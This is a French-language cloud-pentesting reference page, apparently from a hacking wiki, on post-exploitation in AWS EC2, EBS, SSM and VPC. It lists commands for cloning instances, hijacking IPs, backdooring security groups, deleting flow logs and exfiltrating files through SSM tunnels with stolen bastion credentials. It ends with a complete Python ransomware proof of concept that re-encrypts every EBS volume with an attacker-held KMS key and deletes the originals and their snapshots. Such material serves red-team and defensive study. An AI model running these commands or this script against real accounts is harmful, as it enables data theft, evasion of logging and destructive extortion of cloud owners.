AWS - EC2, EBS, SSM & VPC Post-exploitation

Reading time: 20 minutes

EC2 & VPC

Pour plus d'informations, consultez :

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC traffic mirroring duplicates inbound and outbound traffic for EC2 instances within a VPC sans besoin d'installer quoi que ce soit sur les instances elles-mêmes. Ce trafic dupliqué est généralement envoyé vers, par exemple, un système de détection d'intrusion réseau (IDS) pour analyse et surveillance.
Un attaquant pourrait abuser de cela pour capturer l'intégralité du trafic et en extraire des informations sensibles :

Pour plus d'informations, consultez cette page :

AWS - Malicious VPC Mirror

Copier une instance en cours d'exécution

Les instances contiennent généralement des informations sensibles. Il existe différentes manières d'y pénétrer (voir EC2 privilege escalation tricks). Cependant, une autre façon de vérifier ce qu'elle contient est de create an AMI and run a new instance (even in your own account) from it :

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshots are backups of volumes, qui contiennent généralement des données sensibles, donc les vérifier devrait divulguer ces informations.
Si vous trouvez un volume without a snapshot vous pouvez : Create a snapshot et effectuer les actions suivantes ou simplement mount it in an instance dans le compte :

AWS - EBS Snapshot Dump

Covert Disk Exfiltration via AMI Store-to-S3

Exporter un EC2 AMI directement vers S3 en utilisant CreateStoreImageTask pour obtenir une raw disk image sans snapshot sharing. Cela permet des forensics offline complets ou du data theft tout en laissant le réseau de l'instance inchangé.

AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)

Live Data Theft via EBS Multi-Attach

Attacher un volume io1/io2 Multi-Attach à une seconde instance et le monter en lecture seule pour siphonner des live data sans snapshots. Utile lorsque le volume victime a déjà Multi-Attach activé dans la même AZ.

AWS - Live Data Theft via EBS Multi-Attach

EC2 Instance Connect Endpoint Backdoor

Créer un EC2 Instance Connect Endpoint, autoriser l'ingress et injecter des clés SSH éphémères pour accéder aux instances privées via un tunnel géré. Offre des chemins de mouvement latéral rapides sans ouvrir de ports publics.

AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

EC2 ENI Secondary Private IP Hijack

Déplacer l'IP privée secondaire d'un ENI victime vers un ENI contrôlé par l'attaquant pour usurper des hôtes de confiance allowlisted par IP. Permet de contourner des ACL internes ou des règles SG basées sur des adresses spécifiques.

AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Elastic IP Hijack for Ingress/Egress Impersonation

Réassocier une Elastic IP de l'instance victime à l'attaquant pour intercepter le trafic entrant ou initier des connexions sortantes qui semblent provenir d'IP publiques de confiance.

AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Security Group Backdoor via Managed Prefix Lists

Si une règle de security group référence une customer-managed prefix list, ajouter des CIDRs d'attaquant à la liste étend silencieusement l'accès à toutes les règles SG dépendantes sans modifier le SG lui‑même.

AWS - Security Group Backdoor via Managed Prefix Lists

VPC Endpoint Egress Bypass

Créer des gateway ou interface VPC endpoints pour retrouver l'accès sortant depuis des subnets isolés. Tirer parti des AWS-managed private links permet de contourner l'absence d'IGW/NAT pour l'exfiltration de données.

AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

ec2:AuthorizeSecurityGroupIngress

Un attaquant disposant de la permission ec2:AuthorizeSecurityGroupIngress peut ajouter des règles inbound aux security groups (par exemple autoriser tcp:80 depuis 0.0.0.0/0), exposant ainsi les services internes à l'Internet public ou à des réseaux non autorisés.

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0

ec2:ReplaceNetworkAclEntry

Un attacker disposant de la permission ec2:ReplaceNetworkAclEntry (ou d'une permission similaire) peut modifier les Network ACLs (NACLs) d’un subnet pour les rendre très permissifs — par exemple en autorisant 0.0.0.0/0 sur des ports critiques — exposant ainsi toute la plage du subnet à Internet ou à des segments réseau non autorisés. Contrairement aux Security Groups, qui sont appliqués per-instance, les NACLs sont appliqués au niveau du subnet, donc modifier un NACL restrictif peut avoir un rayon d’impact beaucoup plus large en permettant l’accès à beaucoup plus d’hôtes.

aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0

ec2:Delete*

Un attaquant disposant des permissions ec2:Delete* et iam:Remove* peut supprimer des ressources et configurations d'infrastructure critiques — par exemple key pairs, launch templates/versions, AMIs/snapshots, volumes ou attachments, security groups ou rules, ENIs/network endpoints, route tables, gateways, ou managed endpoints. Cela peut provoquer une interruption de service immédiate, une perte de données et la perte de preuves forensiques.

One example is deleting a security group:

aws ec2 delete-security-group
--group-id <SECURITY_GROUP_ID>

VPC Flow Logs Cross-Account Exfiltration

Pointez VPC Flow Logs vers un S3 bucket contrôlé par l'attaquant pour collecter en continu les métadonnées réseau (source/destination, ports) en dehors du compte victime pour une reconnaissance à long terme.

AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Data Exfiltration

DNS Exfiltration

Even if you lock down an EC2 so no traffic can get out, it can still exfil via DNS.

• VPC Flow Logs will not record this.
• You have no access to AWS DNS logs.
• Disable this by setting "enableDnsSupport" to false with:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs.

Open Security Group

You could get further access to network services by opening ports like this:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

Il est possible d'exécuter une instance EC2 et de l'enregistrer pour qu'elle soit utilisée pour exécuter des instances ECS, puis de voler les données des instances ECS.

Pour more information check this.

Remove VPC flow logs

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

Permissions requises :

• ssm:StartSession

En plus de l'exécution de commandes, SSM permet le tunneling de trafic, qui peut être abusé pour pivoter depuis des instances EC2 qui n'ont pas d'accès réseau à cause des Security Groups ou des NACLs. Un des scénarios où cela est utile est de pivoter depuis un Bastion Host vers un EKS cluster privé.

Pour démarrer une session, vous devez avoir le SessionManagerPlugin installé: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

1. Installez le SessionManagerPlugin sur votre machine
2. Connectez-vous au Bastion EC2 en utilisant la commande suivante:

aws ssm start-session --target "$INSTANCE_ID"

3. Obtenez les credentials temporaires AWS du Bastion EC2 avec le script Abusing SSRF in AWS EC2 environment
4. Transférez les credentials sur votre propre machine dans le fichier $HOME/.aws/credentials en tant que profil [bastion-ec2]
5. Connectez-vous à EKS en tant que Bastion EC2:

aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>

6. Mettez à jour le champ server dans le fichier $HOME/.kube/config pour qu'il pointe vers https://localhost
7. Créez un tunnel SSM comme suit :

sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>

8. Le trafic de l'outil kubectl est maintenant acheminé via le tunnel SSM à travers le Bastion EC2 et vous pouvez accéder au cluster EKS privé depuis votre propre machine en exécutant :

kubectl get pods --insecure-skip-tls-verify

Notez que les connexions SSL échoueront à moins que vous ne définissiez le flag --insecure-skip-tls-verify (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est tunnelisé via le tunnel sécurisé AWS SSM, vous êtes protégé contre tout type d'attaque MitM.

Enfin, cette technique n'est pas spécifique à l'attaque de clusters EKS privés. Vous pouvez définir des domaines et des ports arbitraires pour pivoter vers tout autre service AWS ou une application personnalisée.

Transfert de port rapide Local ↔️ Remote (AWS-StartPortForwardingSession)

Si vous n'avez besoin que de transférer un seul port TCP depuis l'instance EC2 vers votre machine locale vous pouvez utiliser le document SSM AWS-StartPortForwardingSession (aucun paramètre d'hôte distant requis) :

aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>

La commande établit un tunnel bidirectionnel entre votre poste de travail (localPortNumber) et le port sélectionné (portNumber) sur l'instance sans ouvrir de règles Security-Group entrantes.

Cas d'utilisation courants :

• File exfiltration

1. Sur l'instance, démarrez un serveur HTTP rapide qui pointe vers le répertoire destiné à l'exfiltration :

python3 -m http.server 8000

2. Depuis votre poste de travail, récupérez les fichiers via le tunnel SSM :

curl http://localhost:8000/loot.txt -o loot.txt

• Accès aux applications web internes (par ex. Nessus)

# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835

Astuce : compressez et chiffrez les preuves avant exfiltrating, afin que CloudTrail n'enregistre pas le contenu clear-text :

# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'

Partager AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Rechercher des informations sensibles dans des AMIs publiques et privées

• https://github.com/saw-your-packet/CloudShovel: CloudShovel est un outil conçu pour chercher des informations sensibles dans des Amazon Machine Images (AMIs) publiques ou privées. Il automatise le processus de lancement d'instances à partir des AMIs ciblées, le montage de leurs volumes, et le scan à la recherche de secrets potentiels ou de données sensibles.

Partager un EBS Snapshot

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Une preuve de concept similaire à la démonstration de Ransomware présentée dans les notes de post-exploitation S3. KMS devrait être renommé en RMS (Ransomware Management Service) tant il est facile à utiliser pour chiffrer divers services AWS.

D'abord depuis un compte AWS 'attacker', créez une customer managed key dans KMS. Pour cet exemple nous laisserons AWS gérer les données de clé pour nous, mais dans un scénario réaliste un acteur malveillant conserverait les données de clé en dehors du contrôle d'AWS. Modifiez la key policy pour permettre à n'importe quel Principal de compte AWS d'utiliser la clé. Pour cette key policy, le nom du compte était 'AttackSim' et la règle de policy autorisant tout l'accès s'appelle 'Outside Encryption'

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

La key policy doit avoir les éléments suivants activés pour permettre son utilisation afin de chiffrer un volume EBS :

• kms:CreateGrant
• kms:Decrypt
• kms:DescribeKey
• kms:GenerateDataKeyWithoutPlainText
• kms:ReEncrypt

Avec la clé publiquement accessible prête à l'emploi. Nous pouvons utiliser un compte 'victim' qui a des instances EC2 lancées avec des volumes EBS non chiffrés attachés. Les volumes EBS de ce compte 'victim' sont notre cible pour le chiffrement ; cette attaque suppose la compromission d'un compte AWS à hauts privilèges.

Similaire à l'exemple de ransomware sur S3. Cette attaque va créer des copies des volumes EBS attachés en utilisant des snapshots, utiliser la clé publiquement disponible du compte 'attacker' pour chiffrer les nouveaux volumes EBS, puis détacher les volumes EBS originaux des instances EC2 et les supprimer, et enfin supprimer les snapshots utilisés pour créer les nouveaux volumes EBS chiffrés.

Il en résulte que seuls des volumes EBS chiffrés restent disponibles dans le compte.

À noter également : le script a arrêté les instances EC2 pour détacher et supprimer les volumes EBS originaux. Les volumes originaux non chiffrés ont été supprimés.

Ensuite, retournez à la key policy du compte 'attacker' et supprimez la règle de policy 'Outside Encryption' de la key policy.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Attendez un instant que la nouvelle key policy se propage. Retournez ensuite au compte 'victim' et tentez d'attacher l'un des EBS volumes nouvellement chiffrés. Vous constaterez que vous pouvez attacher le volume.

Mais quand vous tentez réellement de redémarrer l'instance EC2 avec le volume EBS chiffré, cela échouera et l'instance passera de l'état 'pending' à l'état 'stopped' indéfiniment, car le volume EBS attaché ne peut pas être déchiffré avec la key puisque la key policy ne le permet plus.

Voici le script python utilisé. Il prend en entrée des identifiants AWS pour un compte 'victim' et une valeur ARN AWS publique pour la key utilisée pour le chiffrement. Le script crée des copies chiffrées de TOUS les volumes EBS disponibles attachés à TOUTES les instances EC2 du compte AWS ciblé, puis arrête toutes les instances EC2, détache les volumes EBS originaux, les supprime, et enfin supprime tous les snapshots utilisés pendant le processus. Cela laissera uniquement des volumes EBS chiffrés dans le compte 'victim' ciblé. N'UTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTIF ET SUPPRIMERA TOUS LES VOLUMES EBS ORIGINAUX. Vous pouvez les récupérer en utilisant la KMS key utilisée et les restaurer à leur état initial via des snapshots, mais je veux simplement vous informer qu'il s'agit au final d'un ransomware PoC.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

Références

• Pentest Partners – How to transfer files in AWS using SSM